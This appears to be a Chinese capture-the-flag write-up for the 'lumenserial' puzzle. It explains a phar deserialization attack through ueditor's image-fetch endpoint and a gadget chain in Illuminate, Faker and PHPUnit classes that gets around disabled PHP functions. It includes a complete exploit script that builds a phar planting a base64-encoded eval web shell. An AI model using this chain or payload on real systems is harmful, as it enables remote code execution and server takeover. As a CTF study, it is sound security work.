code-breaking - lumenserial
赛题地址: https://code-breaking.com/puzzle/7/
这题极其头疼的就是环境为 php 7.2.12、并且禁用了这些函数
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log	
导致找利用的时候需要一个品相特别好的利用链,P师傅是寻找到了一个***(暂时保密)的点,我依据call_user_func_*方面找了一些利用
这题用的是ueditor,存在远程下载的功能
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
这里面其实按理`getimagesizefromstring`也是可以利用phar,不过file_get_contents中的url更好利用一点
POST /server/editor?action=Catchimage&source[]=phar:///var/www/html/xxx HTTP/1.1
Host: 51.158.73.123:8080
寻找gadget
phar反序列化第一步主要找两个魔术方法入口: __destruct|__wakeup
1、Illuminate\Broadcasting::__destruct
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
		public function __destruct(){
			$this->events->dispatch($this->event);
		}
	}
}
在这里可以通过给$this->events存放其他类从而调用其他类的__call方法
2、Faker\ValidGenerator::__call
namespace Faker{
	class ValidGenerator{
		public function __call($name, $arguments){
			$i = 0;
			do {
				$res = call_user_func_array(array($this->generator, $name), $arguments);
				$i++;
				if ($i > $this->maxRetries) {
					die('error');
				}
			} while (!call_user_func($this->validator, $res));
			return $res;
		}
	}
}
这个是整个的利用核心,因为__call魔术方法调用过来的参数只有$this->event一个,所以这导致你只能给其他函数传一个参数,没有了命令函数、php7版本的问题(assert成为语言结构,很多函数不能动态调用)导致需要完全控制参数才行.
array(
    0 => $argv
)
在上面的代码中,先通过call_user_func_array调用,然后其结果作为后面的call_user_func的参数
ven师傅复现的时候才发现少写了一步
在上面的$res = call_user_func_array(array($this->generator, $name), $arguments);中看到,$name传过来一个dispatch
namespace Faker{
    class Generator
    {
        protected $formatters;
        function __construct($forma){
            $this->formatters = $forma;
        }
		public function format($formatter, $arguments = array())
		{
			return call_user_func_array($this->getFormatter($formatter), $arguments);
		}
        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
        }
        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }
    }
}
Faker\Generator::dispatch不存在就会调用Faker\Generator::__call,然后就会调用$this->format($method, $attributes);
public function format($formatter, $arguments = array()){
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}
这个时候$formatter就是dispatch,也就是会从array("dispatch"=> array($s4_obj, "getFormatter"));中拿到了array($s4_obj, "getFormatter")
$s4_obj为新的一个Faker\Generator,目的就是为了调用它的getFormatter,这里面我总共是使用了两次Faker\Generator
3、Faker\Generator::getFormatter (解决call_user_func的参数控制)
namespace Faker{
    class Generator{
        public function getFormatter($formatter){
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
        }
    }
}
可以看到这里面getFormatter会返回$this->formatters[$formatter],也就是Faker\ValidGenerator::__call中第二个call_user_func的参数得到了解决,因为它可以完全被控制
$this->formatters = [
    "exploit" => ["/var/www/html/1.php","aaaa"]
];
4、(进行最终的exploit攻击)
namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback implements Stub{
        public function invoke(Invocation $invocation){
            return \call_user_func_array($this->callback, $invocation->getParameters());
        }
    }
}
其中Invocation是一个接口,所以找到具体的类即可
namespace PHPUnit\Framework\MockObject\Invocation;
    class StaticInvocation implements Invocation, SelfDescribing
        public function getParameters(): array{
            return $this->parameters;
        }
    }
}
可以看到最后进入PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke的$this->callback,$invocation->getParameters()都是可控的
exploit
<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
	}
}
namespace Faker{
    class Generator{
        protected $formatters;
        function __construct($forma){
            $this->formatters = $forma;
        }
    }
	class ValidGenerator{
		protected $generator;
		protected $validator;
		protected $maxRetries;
		public function __construct($generator, $validator, $maxRetries = 10000){
			$this->generator = $generator;
			$this->validator = $validator;
			$this->maxRetries = $maxRetries;
		}
	}
}
namespace PHPUnit\Framework\MockObject\Invocation{
	class StaticInvocation{
		function __construct($parameters){
            $this->parameters = $parameters;
        }
	}
}
namespace PHPUnit\Framework\MockObject\Stub{
	class ReturnCallback{
		public function __construct($callback){
			$this->callback = $callback;
		}
	}	
}
# exp func call
namespace{
	$exp_func = "file_put_contents";
	$exp_args = ["C:\\phpstudy2018\\PHPTutorial\\WWW\\ctf\\pwnhub\\lumenserial\\bbbb.php", base64_decode("PD9waHAgZXZhbCgkX0dFVFsnMTEnXSk7Pz4=")];
	$exp_args_obj = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($exp_args);
	$exp_call_obj = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($exp_func);
	$tmp_arr = ["gogogo" => $exp_args_obj];
	$s4_obj = new Faker\Generator($tmp_arr);
	$get_func_arr = array("dispatch"=> array($s4_obj, "getFormatter"));
	$s3_obj = new Faker\Generator($get_func_arr);
	$s2_obj = new Faker\ValidGenerator($s3_obj, array($exp_call_obj,"invoke"), 2);
	$s1_obj = new Illuminate\Broadcasting\PendingBroadcast($s2_obj, "gogogo");
	echo urlencode(serialize($s1_obj))."\n\r\n\r";
	
	$p = new Phar('./exploit.phar', 0);
	$p->startBuffering();
	$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
	$p->setMetadata($s1_obj);
	$p->addFromString('1.txt','text');
	$p->stopBuffering();
}
 
                     
                    
                 
                    
                

 
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号